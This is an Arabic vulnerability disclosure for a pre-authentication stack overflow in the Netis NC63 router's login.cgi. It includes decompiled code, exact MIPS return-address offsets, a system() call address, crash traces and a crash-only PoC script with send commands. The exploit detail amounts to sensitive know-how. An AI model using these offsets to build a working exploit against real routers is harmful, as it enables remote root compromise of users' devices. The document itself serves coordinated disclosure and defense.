
بحث أصلي وإثبات مفهوم (PoC) غير مدمر لثغرة تجاوز سعة المخزن المؤقت للمكدس في كلمة المرور المفككة بترميز Base64 قبل المصادقة في ملف login.cgi في جهاز Netis NC63.
login.cgi لجهاز Netis NC63 يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE)الباحث: Özcan Ersan (@ozcanpng)
CVE-2026-76070NC63_V3.0.0.3327/bin/netis.cgiPOST /cgi-bin/login.cgipassword مرمّز بـ Base64يسترجع معالج تسجيل الدخول العام في البرنامج الثابت Netis NC63 V3.0.0.3327
مُعامِل password الذي يتحكم به المهاجم ويفك ترميزه باستخدام روتين Base64
المخصص FUN_00402bd4. يوفّر المستدعي مخزنًا محليًا للمكدس بحجم 64 بايت
لكنه لا يمرر سعته إلى مفكك الترميز. يستمد مفكك الترميز عمله من المدخلات
المرمّزة ويكتب البايتات المفكوكة دون التحقق من نهاية الوجهة.
يقع عنوان العودة المحفوظ في MIPS على بُعد 136 بايت من بداية المخزن المفكوك. أظهرت الاختبارات الديناميكية ضد CGI الإنتاجي بالتجزئة الأصلية ما يلي:
B مفكوك بطول 140 بايت يسبب خطأ عند 0x42424242؛ra المحفوظ بـ 0x0041a2e0 يسبب دخولًا ثانيًا مرصودًا إلى
معالج تسجيل الدخول، مما يثبت التحكم في عدّاد البرنامج؛ وsystem() المباشر في الثنائي
الأصلي بقيمة a0 في MIPS يختارها المهاجم. سجّل /bin/sh البديل الأمر
/bin/sh -c NC63_RCE_PROOF ولم ينفذ أي أمر.يتوقف الاستغلال (PoC) العام في هذا المستودع عمدًا عند نمط انهيار. لا يحتوي على سلسلة عودة، أو شيلكود، أو أمر، أو شل عكسي، أو استمرارية.
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi
نسخة /bin/netis.cgi المختبرة ديناميكيًا لها نفس SHA-256 للثنائي المستخرج من قبل البائع.

ترسل الواجهة الأمامية للبائع كلمة المرور إلى نقطة النهاية العامة بترميز Base64:
obj.password = base64encode(utf16to8(password));
request({
url: "/cgi-bin/login.cgi",
data: obj
});
يستخدم حقل HTML maxlength="63"، لكن ذلك مجرد قيد من جانب المتصفح. يمكن لعميل HTTP مباشر إرسال قيمة مرمّزة أكبر.

يمكن الوصول إلى login.cgi بالضرورة قبل المصادقة. تحدث عملية فك الترميز غير الآمنة قبل مقارنة كلمة المرور المفكوكة مع كلمة مرور المسؤول المكوّنة. لا حاجة إلى جلسة صالحة، أو ترويسة Cookie، أو ترويسة Authorization، أو كلمة مرور صحيحة.
Unauthenticated HTTP client
|
| POST /cgi-bin/login.cgi
| password=<attacker-controlled Base64>
v
/bin/netis.cgi: FUN_0041a2e0
|
| get_request_param("password")
v
FUN_00402bd4(decoded_stack_buffer, encoded_password)
|
| no destination-capacity argument
| decoded output exceeds 64 bytes
v
saved s8 at decoded offset 132
saved ra at decoded offset 136
|
v
attacker-selected MIPS PC
كود زائف مشتق من Ghidra، مع تسوية الأسماء للقراءة:
int login_cgi(void *request)
{
char decoded[64];
char stored[68];
char *password;
memset(decoded, 0, 64);
memset(stored, 0, 64);
password = get_request_param(request, "password");
if (password != NULL)
FUN_00402bd4(decoded, password); /* no capacity argument */
apmib_get(0x15e, stored);
if (strcmp(decoded, stored) == 0)
printf("[\"SUCCESS\"]");
else {
system("echo 0 >/tmp/boa_auth");
printf("[\"%d\"]", 0x15);
}
return 0;
}

يستقبل مفكك الترميز في FUN_00402bd4 مؤشري الوجهة والمصدر فقط. تتقدم حلقته بمؤشر الوجهة وتخزن حتى ثلاثة بايتات مفكوكة لكل أربعة رموز Base64. لا توجد مقارنة تتحقق من الوجهة مقابل decoded + 64.

Base64 هو تحويل المدخلات، وليس العيب الأساسي. السبب الجذري هو عدم التطابق بين الطول المفكوك الذي يتحكم به المهاجم والوجهة ذات الحجم الثابت التي لا تُفرض سعتها أبدًا. بالنسبة للمدخلات المبوبة عادية، تمثل أربعة أحرف مرمّزة ما يصل إلى ثلاثة بايتات مفكوكة؛ لذلك يجب على الفحوصات من جانب الخادم حساب الحجم المفكوك والتحقق منه قبل الكتابة.
تبدأ الدالة FUN_0041a2e0 عند 0x0041a2e0 وتُنشئ إطارًا بحجم 0xa8 بايت:
0041a2e0 addiu sp,sp,-168
0041a2e4 sw ra,164(sp)
0041a2e8 sw s8,160(sp)
0041a2ec move s8,sp
تبدأ الوجهة المفكوكة عند s8+0x1c؛ s8 المحفوظ وra المحفوظ عند s8+0xa0 وs8+0xa4:
decoded[64] s8+0x1c decoded offset 0
saved s8 s8+0xa0 decoded offset 132
saved ra s8+0xa4 decoded offset 136
مسافة عنوان العودة الدقيقة هي 0xa4 - 0x1c = 0x88، أي 136 بايت.

استبدل نمط B مفكوك بطول 140 بايت عنوان العودة المحفوظ ذا الأربعة بايتات:
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x42424242} ---
qemu: uncaught target signal 11 (Segmentation fault)

ضبط مدخل منفصل بطول 140 بايت ra المحفوظ إلى 0x0041a2e0. سجّل تتبع وحدة المعالجة المركزية في QEMU دخولًا عاديًا أولًا للمعالج ثم دخولًا ثانيًا مع s8=0x41414141 وra=0x0041a2e0.

يحتوي الثنائي الأصلي على استدعاء مباشر jal system عند 0x0041a3cc. في التحقق المعزول الخاص، حمّلت تعليمات ثابتة القاعدة علامة إلى a0 ووصلت إلى ذلك الاستدعاء. تم تركيب برنامج مراقبة ثابت فوق /bin/sh؛ سجّل وسيطات المفسر ولم ينفذ شيئًا:
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_RCE_PROOF>
CONTROLLED_MARKER_REACHED
PASS: attacker-controlled a0 reached system() and /bin/sh argv.
PASS: the guard logged the request and executed no command.
يوضح هذا قدرة RCE بدائية في مسار كود الإنتاج المعزول. لا يثبت موثوقية استغلال مطابقة على موجه مادي تحت نواته المنشورة وإعدادات عشوائية المكدس.
يحدد تكوين Boa الأصلي User root وGroup root ومسار CGI يحتوي على /bin و/web/cgi-bin. الثنائي الإنتاجي ذو قاعدة ثابتة (0x00400000)، ولا يحتوي على حارس مكدس (stack canary) أو RELRO، ويعلن عن مكدس GNU قابل للتنفيذ مع مقاطع RWX.


يبدأ السكربت المرفق افتراضيًا في وضع الجفاف (dry-run) ويولّد فقط جسم نموذج Base64 يحتوي على 140 بايتًا من B بعد فك الترميز:
python3 poc/poc.py
يتطلب الإرسال هدفًا مصرحًا به صراحةً وخيار --send:
python3 poc/poc.py --target http://192.168.1.1 --send
قد يسبب إرسال النمط انهيار عملية CGI. استخدمه فقط في بيئة مصرح بها وقابلة للاستهلاك. لا ينفذ PoC سلسلة التحقق الخاصة بـ RCE.
يمكن للاستغلال الناجح تنفيذ تعليمات برمجية أو أوامر يختارها المهاجم في سياق إدارة الموجه. يعمل هذا السياق بصلاحيات الجذر في تكوين Boa الأصلي. تشمل العواقب المحتملة كشف الإعدادات والأسرار، والتلاعب بـ DNS/جدار الحماية/التوجيه، وإعادة توجيه حركة المرور، وتعطيل الخدمة، والاختراق الكامل للجهاز.
FUN_00402bd4.انظر evidence/README.md للقطات الشاشة وتعيين التتبعات. المقتطفات المعيارية من Ghidra موجودة تحت attachments/decompiled-functions/.
CVE-2026-76070 وأذنت بالإفصاح العام.لم يتم وميض أي موجه مادي. لم يُستخدم أي أمر قشرة حقيقي، أو شل عكسي، أو استمرارية، أو اتصال خارجي، أو سرقة بيانات اعتماد، أو عملية برمجية ثابتة تخريبية.